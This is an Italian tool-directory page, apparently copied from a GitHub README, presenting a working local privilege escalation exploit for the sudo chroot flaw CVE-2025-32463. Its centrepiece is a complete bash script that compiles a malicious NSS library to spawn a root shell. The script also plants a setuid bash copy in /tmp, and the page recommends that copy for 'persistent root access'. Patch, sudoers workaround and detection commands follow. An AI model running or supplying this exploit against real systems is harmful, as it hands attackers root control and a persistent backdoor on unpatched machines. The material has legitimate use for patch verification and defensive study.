Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-32463 — Exploit di escalation dei privilegi locali per CVE-2025-32463 che sfrutta un difetto di progettazione di sudo chroot. Fornisce script PoC, analisi tecnica e indicazioni di mitigazione per le versioni di sudo interessate 1.9.14-1.9.17. | Kitploit
Strumenti/GitHubGitHub/kaiht-ladiant/cve-2025-32463
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitPenetration TestingApprendimento e FormazioneBinary Exploitation
GitHubkaiht-ladiant/cve-2025-32463

CVE-2025-32463

Exploit di escalation dei privilegi locali per CVE-2025-32463 che sfrutta un difetto di progettazione di sudo chroot. Fornisce script PoC, analisi tecnica e indicazioni di mitigazione per le versioni di sudo interessate 1.9.14-1.9.17.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
211 anno faNon ancora revisionato

CVE-2025-32463 - Exploit di escalation dei privilegi chroot di sudo

Panoramica

CVE-2025-32463 è una vulnerabilità critica di escalation locale dei privilegi nelle versioni di sudo dalla 1.9.14 alla 1.9.17. Questa vulnerabilità consente agli attaccanti con privilegi sudo di ottenere accesso root sfruttando un difetto di progettazione nella logica di elaborazione dell'opzione chroot.

Dettagli della vulnerabilità

  • CVE ID: CVE-2025-32463
  • Versioni interessate: sudo 1.9.14 - 1.9.17
  • Tipo di vulnerabilità: Escalation locale dei privilegi (LPE)
  • Gravità: Critica
  • Versione corretta: sudo 1.9.17p1 e successive

Descrizione tecnica

La vulnerabilità è dovuta a un problema di temporizzazione nel processo di convalida della sicurezza di sudo. La funzione pivot_root viene eseguita prima della verifica della policy di sicurezza, consentendo agli attaccanti di manipolare l'ambiente del file system che sudo utilizza per autenticazione e autorizzazione.

Flusso dell'attacco

  1. Manipolazione dell'ambiente: L'attaccante crea un ambiente chroot controllato con un nsswitch.conf dannoso
  2. Iniezione della libreria: Una libreria NSS (Name Service Switch) dannosa viene inserita nell'ambiente controllato
  3. Escalation dei privilegi: sudo carica ed esegue la libreria dannosa con privilegi di root
  4. Accesso root: L'attaccante ottiene accesso completo a una shell root

Funzioni interessate

  • pivot_root: Eseguita troppo presto nel processo
  • set_cmnd_path: Opera nell'ambiente manipolato
  • command_matches: Controlli di sicurezza bypassati a causa della manipolazione dell'ambiente

Prerequisiti

Prima di usare questo exploit, assicurati che siano soddisfatte le seguenti condizioni:

  • Il sistema di destinazione esegue sudo versione 1.9.14 - 1.9.17
  • L'utente corrente ha privilegi sudo
  • La configurazione di sudoers consente operazioni chroot
  • Il compilatore gcc è disponibile sul sistema di destinazione
  • Accesso in scrittura alle directory temporanee (ad es. /tmp)

Utilizzo

Avvio rapido

  1. Clona questo repository:
root@kitploit:~
git clone https://github.com/KaiHT-Ladiant/CVE-2025-32463
cd CVE-2025-32463
  1. Rendi eseguibile lo script:
root@kitploit:~
chmod +x cve-2025-32463.sh
  1. Esegui l'exploit:
root@kitploit:~
./cve-2025-32463.sh

Verifica manuale

Controlla se il sistema di destinazione è vulnerabile:

root@kitploit:~
# Check sudo version
sudo --version

# Check sudo privileges
sudo -l

# Look for chroot-related permissions
sudo -l | grep chroot

Codice dell'exploit

Lo script principale dell'exploit (cve-2025-32463.sh):

root@kitploit:~
#!/bin/bash
# CVE-2025-32463 PoC - Sudo Chroot Privilege Escalation
# Based on research by Rich Mirch @ Stratascale Cyber Research Unit

STAGE=$(mktemp -d /tmp/pentest.stage.XXXXXX)
cd ${STAGE?} || exit 1

cat > pentester.c<<'CEOF'
#include <stdlib.h>
#include <unistd.h>

void woot(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  system("id > /tmp/pwned_proof.txt");
  system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash");
  execl("/bin/bash", "/bin/bash", NULL);
}
CEOF

mkdir -p pentest/etc libnss_
echo "passwd: /pentester" > pentest/etc/nsswitch.conf
cp /etc/group pentest/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/pentester.so.2 pentester.c

echo "[*] Exploiting CVE-2025-32463..."
echo "[*] Attempting privilege escalation..."
sudo -R pentest pentest

# Cleanup
rm -rf ${STAGE?}

Verifica

Dopo un'exploitazione riuscita, verifica l'accesso root:

root@kitploit:~
# Check current privileges
whoami

# Check proof file
cat /tmp/pwned_proof.txt

# Use setuid bash for persistent root access
/tmp/rootbash -p

Mitigazione

Azioni immediate

  1. Aggiorna sudo alla versione 1.9.17p1 o successiva:

    root@kitploit:~
    # Ubuntu/Debian
    sudo apt update && sudo apt upgrade sudo
    
    # CentOS/RHEL
    sudo yum update sudo
    
    # or
    sudo dnf update sudo
    
  2. Rimuovi le direttive chroot da sudoers (soluzione temporanea):

    root@kitploit:~
    # Backup current configuration
    sudo cp /etc/sudoers /etc/sudoers.backup
    
    # Remove chroot-related entries
    sudo sed -i '/chroot/d' /etc/sudoers
    
    # Verify syntax
    sudo visudo -c
    

Rilevamento

Monitora i tentativi di exploitazione:

root@kitploit:~
# Check for suspicious temporary directories
find /tmp -name "*.stage.*" -type d

# Monitor sudo logs
tail -f /var/log/auth.log | grep sudo

# Look for NSS library compilation
find /tmp -name "libnss_*.so*" -type f

Dettagli tecnici

Analisi della causa principale

La vulnerabilità deriva da un difetto di progettazione nel flusso di esecuzione di sudo:

  1. Flusso normale previsto:

    • Analizza l'input dell'utente
    • Valida la policy di sudoers
    • Configura l'ambiente (incluso chroot)
    • Esegue il comando
  2. Flusso vulnerabile effettivo:

    • Analizza l'input dell'utente
    • Esegue chroot (pivot_root) - Il problema si verifica qui
    • Valida la policy di sudoers (nell'ambiente manipolato)
    • Esegue il comando

Sfruttamento della libreria NSS

L'exploit sfrutta il sistema Name Service Switch (NSS):

  1. sudo legge /etc/nsswitch.conf per l'autenticazione dell'utente
  2. Nell'ambiente chroot, l'attaccante controlla questo file
  3. La libreria NSS dannosa viene caricata con privilegi di root
  4. Il costruttore della libreria esegue codice arbitrario come root

Ambiente di test

Questo exploit è stato testato su:

  • Ubuntu 20.04/22.04 con sudo 1.9.15
  • Debian 11/12 con sudo 1.9.14-1.9.17
  • CentOS 8/9 con versioni di sudo vulnerabili
  • Container Docker con installazioni di sudo vulnerabili

Riferimenti

  • Avviso di sicurezza ufficiale di sudo
  • Ricerca originale di Rich Mirch
  • Analisi del codice sorgente di sudo

Disclaimer

⚠️ DISCLAIMER IMPORTANTE ⚠️

Questo strumento è fornito solo a scopo educativo e per test autorizzati.

  • Utilizzalo solo su sistemi di tua proprietà o per i quali hai esplicito permesso di test
  • L'uso non autorizzato di questo exploit è illegale e non etico
  • Gli autori non sono responsabili di usi impropri o danni
  • Assicurati sempre di avere la dovuta autorizzazione prima di condurre test di sicurezza

Contributi

I contributi sono benvenuti! Per favore:

  1. Fai il fork del repository
  2. Crea un branch per la funzionalità
  3. Invia una pull request con una descrizione dettagliata

Licenza

Questo progetto è concesso in licenza MIT - vedi il file LICENSE per i dettagli.

Changelog

v1.0.0

  • Rilascio iniziale
  • Funzionalità base dell'exploit
  • Documentazione completa

Nota: Questa vulnerabilità interessa un componente critico del sistema. Si prega di usarlo in modo responsabile e di assicurarsi che tutti i test siano autorizzati.

Scarica lo strumento